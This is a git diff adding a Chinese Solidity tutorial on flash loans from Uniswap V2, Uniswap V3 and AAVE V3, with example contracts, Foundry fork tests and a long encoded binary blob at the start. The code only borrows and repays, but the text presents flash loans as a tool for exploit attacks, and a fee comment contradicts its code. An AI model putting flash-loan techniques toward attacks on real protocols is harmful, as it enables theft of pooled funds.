z<&OZ~Vyt=q=f}Tee?tC~0Azd7P)<5{cqIJchq(ERaC`cnhijvV%b!N4ZGri`r2)4a zHk9GS{`>1EWxBo!} z-+4Au!%Zt0elU3y%k+SM_YZt`Edjpc+w86aLQ|d`faarMDHng=$lX;Bz&)<_2=h?D z-VlLnUB%~E9qwvL!PRe2?g2QlkAIdZNrAD1py2PpTJ5cZ|2+Q*J9z$mvBF0n!6g70 z{7q#0eMIKptp&CWEg%(N5v^T-gLumceiv;L+DiSe`{{mxwZnUG|0nqU4Av|Z{~={9Q+XQna{)7`t^8OteM)@ePWTfKVuArvkaGa0AngNKOVw8Lc(r-}e?nYkv($TB z6g+qy)4$+Zz~%`N3Z%jIM8g`}=l&p42b7mvfM~=D%rqg!D9>*3w9O(uHWJ*P3`eeaiqRpKLf`*M5uwUSw}__@VV< z`yhnj{g#o(e5Yg&Itwc4NwS&`2+fWNT@xE%j9&P|RVuJL_$x;H^qv;59C*ZC{bbB+ zp-(a`DbBFIB+W3|s&eRSw&mD7VyF~+l3Q@*?@7A~q*q!EoO;HuM~u~y_{kWbCS;_M z%cbKyzH^WeBK(h{2bc&rNVDBe+Im);2*a{B72DMof-kXQ(#(BavL-$WhZ)(H)0Wz7 z=9j4*9~}N+fBzE|1AF!Y?5uL@cR|QYHN?jHKX1o9CpYP2q?x~h+9IVY@6iBkYkF+n z$NXQeYYjroWOt0t9=y6ujVKxfp%}m$*)$9r{oh?`OUSGHOCI-$-XSai!V=)YXVp&C zzXK}GP669-oUc!XAe6$-0tglD-Gje;FB@L!sg@*K2)@BY;0{u@cP;QZHkg}`1S^;( z_<*i|BND{5cPaC-;O`3=bZ;#9@PcgWLhwW2%?T*0kVLu$xCD%;!4)zNTr4jk*>I|0 zB8Y~gp8)U*kgV)_x(59Hd`TOF0Y-`r9*$KziIWTeeIx=*5>KZ)8t_0xI1kL7&S?(f zHvq#$pJ#(}1&EF?8C=7Oy?QqyVudG?aGF1uYSm!hm^_>))55^Z-bPj|1Q#d3d4l4s z>{C%hYB=-m75njbIh){`;TlS1_=u$0$6SEn!`&GEmX!f_cBBI!G)=KMTQWdA@4*#` zTaKm-#PacAI0IhlzlUBN9MR-{k(#>^1q$ZDx{1I<-`JP2yuTw{&}esy^H&rN*c>2I z1ZLk?Df&XZyTNcYM+!N2tdAeg3GL~+??wdBs%JoM!PosQvEUngf&6%YLdGGP8gQ=v z0$iI}n~W2J{2tJqW_-Bh-$VEtT$5#|PzWDUTz=b$A5kp`OcZt2{ON}~(iR6x3u9Q7 z1e=osC+*SQk&nV@aE9CM{ulg6{6!W(E|a0QcO&|!H9a666a*7h-!L@GhA&VaG#DLm z@S{=&|B->q#vIG6M=pldPE0tz(=`mZp>&aW4EWbSqIEs@{`V%+{KnAxS zL;qo>C03QQsqK3|TqzK)i zY`3iz1HyREb$bXp@?x~?1k1Ii}*TPu)Zkj7O!UGAyNE;H_l!elp2GbwyAZ2v+<*7ge zxY3v!Fse`|xe*e`2HaJ99Z)$CmW5v%*~51%pL*Ttjr{iEeZ=D-?Ao2jc`R+#2|DN) zBYoD`ERVq4Z{PzFykAvB!~q?|9DL_q&c8v~YHwiMnj}OAY8K)~bRwwc_E+c>z=Qvw ztG(!)4_H0!X{MAs+g^jhz$2ih924>v&1C#5T8uTpL<-zsEQeTdb*Gw5)2G%37V63h z-(95puB+r^{|FHNZ6I?kXWfb-sz9$l@Z?Rf7&ohtG68s2Eb<@?8`ZyJLM;}|aC^=z zwEiJr*=&0h?{$-u(qvW`&{0PyYPr*uF3!Im7XWhsKS!x~Acr|ICy18GP(b_b=dgw8N+JN1<>TRk9Zdlj(>= zt2PPTT{^aJ4`sg)jMdbs2-yD4dFSEr6#x@u$j+02yd*`?PVopaYuZDIjdxLEYgxU; z&(O-Ad@vA5^zfguS#<_ zGud6-*t3-po9Y*X3LEi{S#R`_$#X16W;`#6lH(H!0(Pm$~kS>*}3P=XJc;j`K-07l*_1a+wE3xmR!wBIl#tavgtFd<`o&5yL5I@uXY! zB515%r5-;R@ogiYYOL`#yIgaEjt>`djIUDgsn@URPdwtYAGtk@$;0#5i6s@7rB`u- zl`mxCH(0Gdp}2KpZaJHFg-Np9sZL#R?O^ihs5Jm>-dP>=mDi#SCjaQL%1p|W_b^^k z3h*4AJG~GaU3_?K)HK!TtT_bX9_Mha>j1iIcr#9~>tKklX7r^jo z;%X3Z4y+}*_#q27y!ju1lW6%VF^vw`To??CF`BwjxHjD^4<^f}a`}JmNj;3@#U>L; z1dYF{YhEb9B5&!f8fr6cq&u{?Y_(~QUqMZYzm-_i!S6o*1ZtVP*e@JA(j8ZO_ z^1pvpCAog^h`8cdoWQDFzi5^e_B8B5NZzhU2P52Ni!7_w1lvh8;k=IFD7Ch=@;Yqd zC#MmIycbcAEv=G>_BPISY#QC6g&VshTSDasA9CbgnU-;=2eE#Y}TdayI&S7^Z4{NR;lI{?}AmrL;&Dm ztBoR7xI`-H_(agBwrb_#n-)<$^#~9k4Scg`_N(uJ1-StfY5a>*c@lK*1Z0L?x2?Tx zfBMe+-=DLUaNH4&pN}x#oJhwWMTknJUN2@X@=WMIA4w0tCdxM9s#~#59vT#Xe{^}e z$(vZsO2C7U3^14hubk%5iTnk#G@&q0jc8yY#%x+EAZF!k^+;?mq%s#BRGt{5T0Iu=PDx4FD zEFpe{t((Ou>>{wFuFWy57x=~kPtmZ76Bd7BN)DpSq^x0=;ZO?5EK87+@96xVj!KeE z3HiMoThfxo7s>OIYW&gC%ZMatf#P|uyyg4S3g~X%ojILLWm(2kcS^&&#w)|2ITG^9 zzOMJoF@`qFtZ3r*`0nA!W5TuV!F{-lxWUTtC6@O>u!&0G$q`F(m62G|sK_Tq0T9A|E{ArWIWJmdz@JiXrBb%Fif{Om9QqMGsyKnKL|e zC}@!st<6a#C)aDrr`Ft8jO4p*8Mr$5UQKz-U6Wv6v)Pps?Lkh=v`v7es>@=U=+p1k zlsq)4p3nZerQDjYAih$?n1;_qw=Jhff+(T=V=Ae{yo)B zpq|^0;I3-kUxheCGRfs8OI^E(y7MOM5=3TC_Gdj)vHhviJu`=k&|r@e`SSF}yY#FO z9aK;*BX7wx{kK=%Z?Dw#wMmk2&8t>!mtS`BBpk3AT?8U)!hVxD2CJzv3CwbkHONzc zZWyv|T2-|r7pzZ9JYT%tSybOyQ0-PaLoPda+E57Yd%#PdCxen=BNE#A1I6@e`mGbz5J{X?coE3~lBzLafy&|As7*gV%ibHhapisx>JDG=204=_T9By?(9|lplKe{^er- zW8%VH{c$O-owAzgu4S4t#XOwz@n)}(pEAg!m?AFF4$s@|HOhk;*XFsCuxcd%%>waI zuMaqy^25r0uFV7xi592*yyS7p?40@YPv2=uEuNqs3O7tQvShMXye_$}(f-glAmLLx zfb6!MwxDen=lZ9y?G}wR(@jXh0nn=&oL=*0Z9yIupHhHnvJbb4HA_FQy)p zusKZLHO-7ednkZ+v>BR~={fc1V8Y7Xayp{TrGYaxZSO^8<9kz}QH*Jmg$`^o@6_fR+jSb%wf0`S+cP&&!KMxW+UU;krZQOq!R}u(`&H=lE>EN>KS%SybHdO zXRDqkm8j{uI?ACv?Hvmf&O2Z>?~S>s7VR{A?CJTNdGCnthI)pgYgtnD(=V)A!-aCztTJiBl zG^#FKjp0gcF4DZx5;3PIwF#AO+v>*`sr-fq3OZ{Me)hLzN~nNT``~7a3#>qt9KnI? z=g7~nEDwFX-(`jSrMKcA$D^%ylA|$4x+v{w1HKwmoOBS6bh&n&IzmRuxxQ;x(_+mj z!JvHjI}@%{R7w`nR(^}pH{bY~e3C=nE7N2Trw@-|heZoJl!lu;`FdT9^wKSJV=_Qmo{16%-L)*3NgY-Dx*)k`A(q@Y1Qh(f` zS7cNS>w8|sZfi1dw~`(YBOaGa$sVigJA78ERC_EqN{@h*m7yZ@*wp;Zuh*^i=ye1yG)euqwZ*eUA=c>WxSB{>7D?7@J>n>!aN8+=xgip`VL@h0;XnXbsDQ>40cd*3TeP_4+? zOcT=Dksyk~n!m-~y-rA@qsYv1jo=I2aEUU!+Kr#BM1p2TQ(VS9&#sm{A+go28a5TS zU^%6oR0clrSz?aA4>Z;V50r7YV|feA{%=BQDL%C`*^vnQinm(U1()c{bvQPL9+cSM zDi3Wt^tC~iecR*6rNQ)t`pe`HY0SkN`+1q#nxzI?B@wwsH`68VNuY#UBDLv3i|m8ZvV>9m`cNaw!cySRHapJ4vld_X5}i?Ch5#LpM4Mr2z~^UF*b_5qpe9)&S!cGGSr zlxLc7qX_6c4^kb{x^ zIpi%{SV0zJg?RPx_nD!K=Cim=V2ANZVaa{hO1NcDPnr1)!56y^mGyg|;;WJyCz0 zXAn4AJztzZ@;z9XCch)f3eo8QYwt>p}`6z0zwv+C^!

wVuS!;NpRT85)ow)2{5>XQ9uM)1e&0>0RvB9kKD$})YPFE<8Ft{ zVSJ{@zr|*Cm}08Kq5><*2uhb58`eY2rz1@D6T@qdmY^ArU0Q-e$(y6nZsCAdC}AJ~ zpn6W@f2dxje&x2t1cB7o4+vQHC7yOj)pSu@hy8ZEU~fCc7aG$0Yvf$vefu|G00Vem zx4_AnhmaId!ia>9!~3H5$jol~Z|C>zqYK9fvn_S2{C0(mS?#S!{?3{q5w7 z?y}A(e}V<%jsVGhK4736KMI$Vn{_io^3!I*jmHOxt`L+=Q(mr~7 zXgsF6ok^TYN-I9-`Mg~~D&UY?3Rwlxl;Sf&BDlLM#kt(XrGO)Q>57w-4$DaSJ4AVp zeY0F8Ps-O*b>d_tucg0ae+}Zhy7kF(taizZCFT<~UN7;Z; zu2rxgU1uFlzdoNpkl~M$LANHeuU)<{8WC%oSN%C=Ex~1Bc7{$Ql8IFuK3{&9i|t%m zUK))kOS7wW1`f+3O~n zjfiW^dn`%K*T)s&oF=LNGv_w(HTiu@_#=g4{#mI7wBu*t9I{h5I8P3nOV=0Vq9kjn z@?Reip~&A>GUt4FdM_^ijA3xA>WY9l@KyENWWWfIrdor5*Uotv0~R(_lg`IoA84(4#W ztwx(kb{7*9!&RG~2V@B$WR<>Ox200~4LNX&Gjdn1RCrF*Gn(m{t?sG4>zNbOl#JW!&z)uGdPFBX7r5BDO3pg3ssev!1ql|5u zezdM3hgpT&+gd2T;~qDsO~(gIH@oh09tgW96GVuw>Ctt?3(FaY^(NTm{RtiE)zZv2 zgft#h@$vbCJ0@EsgVTQ8pY{jMoy4`MiX?8rNOuoW2#U3N^T9v7P@D63XnsBWOut$ zC(O>6`c>6mB`8g70=mB#dPqB0mAu_atUV}myz&(TK3*j*9eTaBb1}Gxy{-q)i?v%9 zK9>8@l1N(*w!erKxpOgAa%LAu1b}$XdPg3BC-_r9qcm*Bm!d)K(t(c==i6JCKst#M z?E#z`?{7dl_c}m;o<0OVrkw-BS^$LQ+V9zo1`IHo*{K)U)j*vUGz!+;@)X(Dsupi# za;X9k!D{j3?LZPRDg|2|0kL|%1J76=#OkYIF*d+6v{Gh{06w+=zv~I@-F-26*p# zG7aicAmEMIe(eAB0E1|NRR`+zFTJx>FAiwK$0~2^)>T*k&haIH3Y 0) _safeTransfer(_token0, to, amount0Out); + if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); + + // 调用to地址的回调函数uniswapV2Call + if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); + + // 其他逻辑... + + // 通过k=x*y公式,检查闪电贷是否归还成功 + require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); +} +``` + +在`swap()`函数中: + +1. 先将池子中的代币乐观的转移给了`to`地址。 +2. 如果传入的`data`长度大于`0`,就会调用`to`地址的回调函数`uniswapV2Call`,执行闪电贷逻辑。 +3. 最后通过`k=x*y`检查闪电贷是否归还成功,如果不成功,则回滚交易。 + +下面,我们完成闪电贷合约`UniswapV2Flashloan.sol`。我们让它继承`IUniswapV2Callee`,并将闪电贷的核心逻辑写在回调函数`uniswapV2Call`中。 + +整体逻辑很简单,在闪电贷函数`flashloan()`中,我们从Uniswap V2的`WETH-DAI`池子借`WETH`。触发闪电贷之后,回调函数`uniswapV2Call`会被Pair合约调用,我们不进行套利,仅在计算利息后归还闪电贷。Uniswap V2闪电贷的利息为每笔`0.3%`。 + +**注意**:回调函数一定要做好权限控制,确保只有Uniswap的Pair合约可以调用,否则的话合约中的资金会被黑客盗光。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV2闪电贷回调接口 +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// UniswapV2闪电贷合约 +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // 闪电贷函数 + function flashloan(uint wethAmount) external { + // calldata长度大于1才能触发闪电贷回调函数 + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out是要借的DAI, amount1Out是要借的WETH + pair.swap(0, wethAmount, address(this), data); + } + + // 闪电贷回调函数,只能被 DAI/WETH pair 合约调用 + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // 确认调用的是 DAI/WETH pair 合约 + address token0 = IUniswapV2Pair(msg.sender).token0(); // 获取token0地址 + address token1 = IUniswapV2Pair(msg.sender).token1(); // 获取token1地址 + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + + // 解码calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan 逻辑,这里省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // 计算flashloan费用 + // fee / (amount + fee) = 3/1000 + // 向上取整 + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + // 归还闪电贷 + weth.transfer(address(pair), amountToRepay); + } +} +``` + +Foundry测试合约`UniswapV2Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +在测试合约中,我们分别测试了手续费充足和不足的情况,你可以在安装Foundry后使用下面的命令行进行测试(你可以将RPC换成其他以太坊RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV2Flashloan.t.sol -vv +``` + +### 2. Uniswap V3闪电贷 + +与Uniswap V2在`swap()`交换函数中间接支持闪电贷不同,Uniswap V3在[Pool池合约](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L791C1-L835C1)中加入了`flash()`函数直接支持闪电贷,核心代码如下: + +```solidity +function flash( + address recipient, + uint256 amount0, + uint256 amount1, + bytes calldata data +) external override lock noDelegateCall { + // 其他逻辑... + + // 乐观的发送代币到to地址 + if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0); + if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1); + + // 调用to地址的回调函数uniswapV3FlashCallback + IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data); + + // 检查闪电贷是否归还成功 + uint256 balance0After = balance0(); + uint256 balance1After = balance1(); + require(balance0Before.add(fee0) <= balance0After, 'F0'); + require(balance1Before.add(fee1) <= balance1After, 'F1'); + + // sub is safe because we know balanceAfter is gt balanceBefore by at least fee + uint256 paid0 = balance0After - balance0Before; + uint256 paid1 = balance1After - balance1Before; + + // 其他逻辑... +} +``` + +下面,我们完成闪电贷合约`UniswapV3Flashloan.sol`。我们让它继承`IUniswapV3FlashCallback`,并将闪电贷的核心逻辑写在回调函数`uniswapV3FlashCallback`中。 + +整体逻辑与V2的类似,在闪电贷函数`flashloan()`中,我们从Uniswap V3的`WETH-DAI`池子借`WETH`。触发闪电贷之后,回调函数`uniswapV3FlashCallback`会被Pool合约调用,我们不进行套利,仅在计算利息后归还闪电贷。Uniswap V3每笔闪电贷的手续费与交易手续费一致。 + +**注意**:回调函数一定要做好权限控制,确保只有Uniswap的Pair合约可以调用,否则的话合约中的资金会被黑客盗光。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3闪电贷回调接口 +// 需要实现并重写uniswapV3FlashCallback()函数 +interface IUniswapV3FlashCallback { + /// 在实现中,你必须偿还池中由 flash 发送的代币及计算出的费用金额。 + /// 调用此方法的合约必须经由官方 UniswapV3Factory 部署的 UniswapV3Pool 检查。 + /// @param fee0 闪电贷结束时,应支付给池的 token0 的费用金额 + /// @param fee1 闪电贷结束时,应支付给池的 token1 的费用金额 + /// @param data 通过 IUniswapV3PoolActions#flash 调用由调用者传递的任何数据 + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3闪电贷合约 +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // 闪电贷函数 + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // 闪电贷回调函数,只能被 DAI/WETH pair 合约调用 + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // 确认调用的是 DAI/WETH pair 合约 + require(msg.sender == address(pool), "not authorized"); + + // 解码calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan 逻辑,这里省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // 归还闪电贷 + weth.transfer(address(pool), wethAmount + fee1); + } +} +``` + +Foundry测试合约`UniswapV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // 闪电贷借贷金额 + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +在测试合约中,我们分别测试了手续费充足和不足的情况,你可以在安装Foundry后使用下面的命令行进行测试(你可以将RPC换成其他以太坊RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV3Flashloan.t.sol -vv +``` + +### 3. AAVE V3闪电贷 + +AAVE是去中心的借贷平台,它的[Pool合约](https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/pool/Pool.sol#L424)通过`flashLoan()`和`flashLoanSimple()`两个函数支持单资产和多资产的闪电贷。这里,我们仅利用`flashLoan()`实现单个资产(`WETH`)的闪电贷。 + +下面,我们完成闪电贷合约`AaveV3Flashloan.sol`。我们让它继承`IFlashLoanSimpleReceiver`,并将闪电贷的核心逻辑写在回调函数`executeOperation`中。 + +整体逻辑与V2的类似,在闪电贷函数`flashloan()`中,我们从AAVE V3的`WETH`池子借`WETH`。触发闪电贷之后,回调函数`executeOperation`会被Pool合约调用,我们不进行套利,仅在计算利息后归还闪电贷。AAVE V3闪电贷的手续费默认为每笔`0.05%`,比Uniswap的要低。 + +**注意**:回调函数一定要做好权限控制,确保只有AAVE的Pool合约可以调用,并且发起者是本合约,否则的话合约中的资金会被黑客盗光。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice 在接收闪电借款资产后执行操作 + * @dev 确保合约能够归还债务 + 额外费用,例如,具有 + * 足够的资金来偿还,并已批准 Pool 提取总金额 + * @param asset 闪电借款资产的地址 + * @param amount 闪电借款资产的数量 + * @param premium 闪电借款资产的费用 + * @param initiator 发起闪电贷款的地址 + * @param params 初始化闪电贷款时传递的字节编码参数 + * @return 如果操作的执行成功则返回 True,否则返回 False + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3闪电贷合约 +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // 闪电贷函数 + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // 闪电贷回调函数,只能被 pool 合约调用 + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // 确认调用的是 DAI/WETH pair 合约 + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // 确认闪电贷发起者是本合约 + require(initiator == address(this), "invalid initiator"); + + // flashloan 逻辑,这里省略 + + // 计算flashloan费用 + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + // 归还闪电贷 + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} +``` + +Foundry测试合约`AaveV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +在测试合约中,我们分别测试了手续费充足和不足的情况,你可以在安装Foundry后使用下面的命令行进行测试(你可以将RPC换成其他以太坊RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/AaveV3Flashloan.t.sol -vv +``` + +## 总结 + +这一讲,我们介绍了闪电贷,并分别实现了Uniswap V2,Uniswap V3,和AAVE的闪电贷合约。通过闪电贷,我们能够无抵押借出资金,进行无风险套利或漏洞攻击。你准备用闪电贷做些什么呢? \ No newline at end of file diff --git a/57_Flashloan/src/AaveV3Flashloan.sol b/57_Flashloan/src/AaveV3Flashloan.sol new file mode 100644 index 000000000..c7f0a48ad --- /dev/null +++ b/57_Flashloan/src/AaveV3Flashloan.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice 在接收闪电借款资产后执行操作 + * @dev 确保合约能够归还债务 + 额外费用,例如,具有 + * 足够的资金来偿还,并已批准 Pool 提取总金额 + * @param asset 闪电借款资产的地址 + * @param amount 闪电借款资产的数量 + * @param premium 闪电借款资产的费用 + * @param initiator 发起闪电贷款的地址 + * @param params 初始化闪电贷款时传递的字节编码参数 + * @return 如果操作的执行成功则返回 True,否则返回 False + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3闪电贷合约 +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // 闪电贷函数 + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // 闪电贷回调函数,只能被 pool 合约调用 + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // 确认调用的是 DAI/WETH pair 合约 + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // 确认闪电贷发起者是本合约 + require(initiator == address(this), "invalid initiator"); + + // flashloan 逻辑,这里省略 + + // 计算flashloan费用 + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + // 归还闪电贷 + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} \ No newline at end of file diff --git a/57_Flashloan/src/Lib.sol b/57_Flashloan/src/Lib.sol new file mode 100644 index 000000000..72f018fae --- /dev/null +++ b/57_Flashloan/src/Lib.sol @@ -0,0 +1,109 @@ +pragma solidity >=0.5.0; + +interface IERC20 { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); +} + +interface IUniswapV2Pair { + function swap( + uint amount0Out, + uint amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + function token1() external view returns (address); +} + +interface IUniswapV2Factory { + function getPair( + address tokenA, + address tokenB + ) external view returns (address pair); +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + + + +library PoolAddress { + bytes32 internal constant POOL_INIT_CODE_HASH = + 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; + + struct PoolKey { + address token0; + address token1; + uint24 fee; + } + + function getPoolKey( + address tokenA, + address tokenB, + uint24 fee + ) internal pure returns (PoolKey memory) { + if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); + return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); + } + + function computeAddress( + address factory, + PoolKey memory key + ) internal pure returns (address pool) { + require(key.token0 < key.token1); + pool = address( + uint160( + uint( + keccak256( + abi.encodePacked( + hex"ff", + factory, + keccak256(abi.encode(key.token0, key.token1, key.fee)), + POOL_INIT_CODE_HASH + ) + ) + ) + ) + ); + } +} + +interface IUniswapV3Pool { + function flash( + address recipient, + uint amount0, + uint amount1, + bytes calldata data + ) external; +} + +// AAVE V3 Pool interface +interface ILendingPool { + // flashloan of single asset + function flashLoanSimple( + address receiverAddress, + address asset, + uint256 amount, + bytes calldata params, + uint16 referralCode + ) external; + + // get the fee on flashloan, default at 0.05% + function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128); +} \ No newline at end of file diff --git a/57_Flashloan/src/UniswapV2Flashloan.sol b/57_Flashloan/src/UniswapV2Flashloan.sol new file mode 100644 index 000000000..2008d702f --- /dev/null +++ b/57_Flashloan/src/UniswapV2Flashloan.sol @@ -0,0 +1,65 @@ +// 